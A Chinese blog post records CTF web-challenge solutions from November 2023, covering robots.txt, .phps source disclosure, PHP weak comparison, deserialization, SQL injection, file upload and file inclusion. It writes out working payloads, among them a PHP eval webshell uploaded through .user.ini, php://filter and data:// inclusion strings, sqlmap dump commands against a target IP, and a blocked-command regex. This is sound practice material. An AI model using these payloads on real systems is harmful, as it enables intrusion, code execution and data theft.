【CTF】[攻防世界]2023.11

11.20(5)

Training-WWW-Robots

题目提示明显。直接访问 ./robots.txt

再访问 ./fl0g.php拿下flag。

robots.txt - Wikipedia --- robots.txt - 维基百科,自由的百科全书

该协议依靠自觉遵守。

robots.txt 文件涵盖一个源。对于具有多个子域的网站,每个子域必须有自己的机器人 .txt 文件。如果 example.com 有机器人.txt文件,但 a.example.com 没有,则适用于 example.com 的规则将不适用于 a.example.com。此外,每个协议和端口都需要自己的机器人.txt文件;http://example.com/robots.txt 不适用于 http://example.com:8080/https://example.com/ 下的页面。

PHP2

==今天知道了其实存在一个后缀名为.phps的文件==
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。它的MIME类型为:text/html, application/x-httpd-php-source, application/x-httpd-php3-source

.phps并不是默认就能访问的,需要配置。

.phps显示源代码并不执行代码,而.php会执行代码

访问./index.phps

好奇怪,没显示完全。f12看一下

<?php
if("admin"===$_GET[id]) {
  echo("not allowed!"); 
  exit(); 
} 
$_GET[id] = urldecode($_GET[id]); 
if($_GET[id] == "admin") { 
  echo "Access granted!"; 
  echo "Key: xxxxxxx"; 
} ?> 

admin = %61%64%6D%69%6E

./index.php?id=%2561%2564%256D%2569%256E

要编码两次,第一次给浏览器的decode用,第二次给urldecode这个函数用。

注意传入的地址还是index.php而不是index.phps

拿下。

unserialize3

class xctf{
  public $flag = '111';
  public function __wakeup(){
    exit('bad requests');}
}
?code=

一个简单的wakeup绕过:只要序列化的中的成员数大于实际成员数,即可绕过。

这里的?code显然是get传参提示。

构造payload:

<?php
class xctf{
    public $flag = '111';
}

$a = new xctf();
echo(serialize($a))
?>
//运行结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

然后修改一下进行传参./?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

拿下。

ics-06

进去乱点一通,发现只有一个报警中心能点开。

看看url,嗯?id?掏出sqlmap,发现没问题。再看看这个日期有没有名堂。确认点了没反应,没搞头。bp抓包也看了,简洁得一批,没东西。

绷不住了去搜了wp。竟然是id遍历......

拿下。

没绷住,这题有点搞笑。

view_source

F12,没啥好说的。

拿下。

11.21(9)

get_post

./?a=1

hackerbar搞定。

拿下

robots

看名字,直接访问./robots.txt。发现:

再访问./f1ag_1s_h3re.php这个文件即可。跟昨天那个一模一样,没难度qa

拿下。

backup

一进去发现:

qaq不知道,赶紧去搜了。

php备份常见的有两种:.php~.php.bak。如果网站存在备份文件,在地址栏最末加上/index.php~/index.php.bak,即可得到备份文件。

一些常见备份文件后缀名:

  1. .bak
  2. .git
  3. .svn
  4. .swp
  5. .~
  6. .bash_history
  7. .bkf
  8. .zip / .tar / .tar.gz / .tgz / .tar.bz2 / .tb2
  9. .sql
  10. .dump

直接访问./index.php.bak,会下载它,然后notepad打开发现flag!

cookie

直接启动burp开始抓包:

访问./cookie.php

听劝,立刻去看。发现response里出现了flag字段。

拿下。

disabled_button

按钮不能按是吧,直接F12开始看源码。

发现关键词disabled。删除!

拿下。

weak_auth

随手设置的?那我猜是弱密码。先admin/admin试一下。

那用户名是对的咯。那再试试admin/123456。

嗯嗯?咋这就对了qaq

拿下。

simple_php

<?php
    show_source(__FILE__);
    include("config.php");
    $a=@$_GET['a'];
    $b=@$_GET['b'];
    if($a==0 and $a){
        echo $flag1;
    }
    if(is_numeric($b)){
        exit();
    }
    if($b>1234){
        echo $flag2;
    }
?> 

一眼弱比较绕过。

PHP比较运算符==在进行比较的时候是弱类型比较,只需要比较两个值相等就行,不会比较类型

is_numeric可以借助url编码中的空字符,例如%00或者%20来绕过。其中%00加在数值前面或者后面都可以,也就是%005555或者5555%00这样。而%20要加在数值末尾,比如5555%20
数字->非数字:数值%20 / %00数值 / 数值%00
./?a='a'&b=5555%00。拿下


注意最后有没有空格qaq

baby_web

初始界面?那必定是./index.php

直接访问发现还是会跳转到1.php。F12没有东西。怀疑302,抓包看看。

果然。拿下!

inget

ok,那先看看拦截了啥吧。

没回显,有点害怕。但是试着试着发现,不是哥,你这啥也没拦截啊!

./?id=1' or 1=1 --+。拿下。

骚等让我再试一下sqlmap

sqlmap -u "http://61.147.171.105:51100/?id=1"
sqlmap -u "http://61.147.171.105:51100/?id=1" --dbs
sqlmap -u "http://61.147.171.105:51100/?id=1" -D cyber --tables
sqlmap -u "http://61.147.171.105:51100/?id=1" -D cyber -T cyber --columns
sqlmap -u "http://61.147.171.105:51100/?id=1" -D cyber -T cyber --dump

11.22(1)

easyupload

提交几个文件先试试水。

发现回显有两种情况:your filetype looks wickedYour file looks wicked。而且会优先显示Your file looks wicked

而且上传图片马会报Your file looks wicked,应该有文件内容的检测。

上传了一个文件名为test.p123456,文件内容为php 的文件,发现回显Your file looks wicked。判断检测关键词为php。那么一句话木马可以改为<?=eval($_POST['cmd']);?>或者<?=system('cat /flag');?>

然后发现直接改成png后缀会回显your filetype looks wicked,应该有文件头检测,添加GIF89a。并且修改content-typeimage/png

发现后缀为php时,仍然被拦下回显Your file looks wicked,但是后缀为其他内容时(如上面的.p123456),不会被拦下。推测为黑名单,可以尝试其他后缀。

最先想到.hataccess,但显然不行,因为内容有php

搜索发现.user.ini,具体可以看这个.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)

其中有两个重要参数:auto_append_file、auto_prepend_fileauto_prepend_file指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。

简单来说:auto_prepend_file = <filename>包含在文件头;auto_append_file = <filename>包含在文件尾。

上传路径是:./uploads。想要利用.user.ini必须确定这个路径下有.php文件。访问./uploads/index.php发现确实有php文件。

ok,开始操作。

先上传一个.user.ini文件,注意要修改content-type。

再上传一个test.png文件,内容为:

GIF89a
&lt;?=eval($_POST[&#039;cmd&#039;]);?&gt; 

然后访问./uplaods/index.php即可

蚁剑连接,拿下。

11.23(3)

fileinclude

进去看到一个报错。

没啥头绪,所以先F12看看。看到一串注释,分析一下

&lt;?php
if( !ini_get(&#039;display_errors&#039;) ) {
  ini_set(&#039;display_errors&#039;, &#039;On&#039;);
  }
error_reporting(E_ALL);
$lan = $_COOKIE[&#039;language&#039;];
if(!$lan)   //如果cookie字段中的language为空
{
    @setcookie(&quot;language&quot;,&quot;english&quot;);
    @include(&quot;english.php&quot;);
}
else    //直接将cookie字段中的language直接拼接
{
    @include($lan.&quot;.php&quot;);
}
$x=file_get_contents(&#039;index.php&#039;);
echo $x;
?&gt;

诶嘿很清晰了这下:

用base64加密读取flag.php,路径是前面报错来的。

language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

拿下。

fileclude

访问进去直接看到代码,分析一下:

 &lt;?php
include(&quot;flag.php&quot;);
highlight_file(__FILE__);
if(isset($_GET[&quot;file1&quot;]) &amp;&amp; isset($_GET[&quot;file2&quot;]))  //get传两个参数file1,file2
{
    $file1 = $_GET[&quot;file1&quot;];
    $file2 = $_GET[&quot;file2&quot;];
    if(!empty($file1) &amp;&amp; !empty($file2))    //两个参数不能为空
    {
        if(file_get_contents($file2) === &quot;hello ctf&quot;) //file_get_contents作用:把整个文件读入一个字符串中
        {
            include($file1);
        }
    }
    else
        die(&quot;NONONO&quot;);
} 

看了一下,得绕过file_get_contents,搜索去:CG-CTF web之 file_get_contents_str_split(file_get_contents("/flag"));-CSDN博客

  1. 使用php://input伪协议绕过
    ① 将要GET的参数?xxx=php://input
    ② 用post方法传入想要file_get_contents()函数返回的值
  2. 用data://伪协议绕过
    将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
    或者将url改为:?xxx=data:text/plain,(url编码的内容)

这里先试了一下法一,没反应。待会研究一下。

然后换成法二:./?file1=php://filter/read=convert.base64-encode/resource=./flag.php&file2=data://text/plain;base64,aGVsbG8gY3Rm

拿下。

法一hackbar没反应,换成burpsuite立马解决。嗯,看来是hackbar的post时不时出bug的问题。

easyphp

上来就是一堆代码,分析一下:

&lt;?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET[&#039;a&#039;];
$b = $_GET[&#039;b&#039;];  //get传a,b,c

if(isset($a) &amp;&amp; intval($a) &gt; 6000000 &amp;&amp; strlen($a) &lt;= 3){ //a的条件
    if(isset($b) &amp;&amp; &#039;8b184b&#039; === substr(md5($b),-6,6)){       //b的条件
        $key1 = 1;
        }else{
            die(&quot;Emmm...再想想&quot;);
        }
    }else{
    die(&quot;Emmm...&quot;);
}

$c=(array)json_decode(@$_GET[&#039;c&#039;]);
if(is_array($c) &amp;&amp; !is_numeric(@$c[&quot;m&quot;]) &amp;&amp; $c[&quot;m&quot;] &gt; 2022){ //c的条件
    if(is_array(@$c[&quot;n&quot;]) &amp;&amp; count($c[&quot;n&quot;]) == 2 &amp;&amp; is_array($c[&quot;n&quot;][0])){
        $d = array_search(&quot;DGGJ&quot;, $c[&quot;n&quot;]);
        $d === false?die(&quot;no...&quot;):NULL;
        foreach($c[&quot;n&quot;] as $key=&gt;$val){
            $val===&quot;DGGJ&quot;?die(&quot;no......&quot;):NULL;
        }
        $key2 = 1;  //key2
    }else{
        die(&quot;no hack&quot;);
    }
}else{
    die(&quot;no&quot;);
}

if($key1 &amp;&amp; $key2){
    include &quot;Hgfks.php&quot;;
    echo &quot;You&#039;re right&quot;.&quot;\n&quot;;
    echo $flag;
}

?&gt; 

一个一个来吧,先绕a:if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)

intval:获取变量的整数值。intval()函数绕过-CSDN博客 。这里可以用科学计数法绕过

再绕过b:if(isset($b) && '8b184b' === substr(md5($b),-6,6))

这里是个hash碰撞,qaq,我只能脚本小子。

import random
import hashlib
import time

value = &quot;8b184b&quot;    # 碰撞内容可修改
# 计时
time_start = time.time()
time_end = time.time()

while 1:
    plainText = random.randint(10 ** 11, 10 ** 12 - 1)
    plainText = str(plainText)
    MD5 = hashlib.md5()
    MD5.update(plainText.encode(encoding=&#039;utf-8&#039;))
    cipherText = MD5.hexdigest()
    if cipherText[-6:] == value:    # 碰撞范围可修改
        print(&quot;碰撞成功:&quot;)
        print(&quot;密文为:&quot; + cipherText)
        print(&quot;明文为:&quot; + plainText)
        break
    else:
        time_end = time.time()
        if time_end - time_start &gt;= 5:
            time_start = time_end
            print(&quot;碰撞中.....&quot;)

然后再来绕c,c是json。还是一点一点来:if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)

这里用数组绕过

。字符串绕过也可以

下一段:​ if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])

这里一堆堆数组嵌套,总之就这样

再下一段

$d = array_search(&quot;DGGJ&quot;, $c[&quot;n&quot;]); //有&quot;DGGJ&quot;
$d === false?die(&quot;no...&quot;):NULL;
foreach($c[&quot;n&quot;] as $key=&gt;$val){        //不能有&quot;DGGJ&quot;
    $val===&quot;DGGJ&quot;?die(&quot;no......&quot;):NULL;
}
$key2 = 1;

看看哪个能绕过。搜索发现array_search可以绕过。这玩意有类型转换的绕过,即不同类型会转换成同样类型进行比较,所以字符串"DGGJ"会转换成int类型的0,只需要数组里搞个0就可以了。

c的构造就成这样了:

拿下。

11.24(1.5)

file_include

进去就是代码,嗯,分析一下。

&lt;?php
highlight_file(__FILE__);
    include(&quot;./check.php&quot;);
    if(isset($_GET[&#039;filename&#039;])){
        $filename  = $_GET[&#039;filename&#039;];
        include($filename); //直接拼接,介么爽?
    }
?&gt;

./?filename=php://filter/read=convert.base64-encode/resource=./flag.php

它说do not hack! 果然没这么简单。

试了试发现,read被拦截了。不会绕过qaq,进行搜索,发现:

PHP伪协议_H0ne的博客-CSDN博客

PHP 伪协议:使用 php://filter 为数据流应用过滤器_BinaryMoon的博客-CSDN博客

?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php

两者作用相同。区别在于,只是读取时(有read),只需要开启allow_url_fopen,不需要开启allow_url_include

修改payload,试一试./?filename=php://filter/convert.base64-encode/resource=./flag.php。发现base64被拦截了。嘶,收集一下过滤器,看看哪些没有拦截。


先试试压缩包那个吧。没反应,懵逼。

换下一个。这个过滤器用法是这样的:convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>

随便试了一下,发现对编码方式也有过滤,再次爆破一下看看。好多都行,随便选两个吧。

拿下。

unseping

进去又是代码,麻中麻。分析一下:

&lt;?php
highlight_file(__FILE__);

class ease{

    private $method;
    private $args;
    function __construct($method, $args) {
        $this-&gt;method = $method;
        $this-&gt;args = $args;
    }

    function __destruct(){
        if (in_array($this-&gt;method, array(&quot;ping&quot;))) {
            call_user_func_array(array($this, $this-&gt;method), $this-&gt;args);   //method=ping,args=array(&#039;id&#039;)
        }
    } 

    function ping($ip){
        exec($ip, $result);
        var_dump($result);ar
    }

    function waf($str){
        if (!preg_match_all(&quot;/(\||&amp;|;| |\/|cat|flag|tac|php|ls)/&quot;, $str, $pat_array)) {
            return $str;
        } else {
            echo &quot;don&#039;t hack&quot;;
        }
    }

    function __wakeup(){
        foreach($this-&gt;args as $k =&gt; $v) {
            $this-&gt;args[$k] = $this-&gt;waf($v);
        }
    }   
}

$ctf=@$_POST[&#039;ctf&#039;];
@unserialize(base64_decode($ctf));  //base64_encode(serialize($ctf))
?&gt;

简单搓了一下,没有搞绕过,后续看12月份的。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇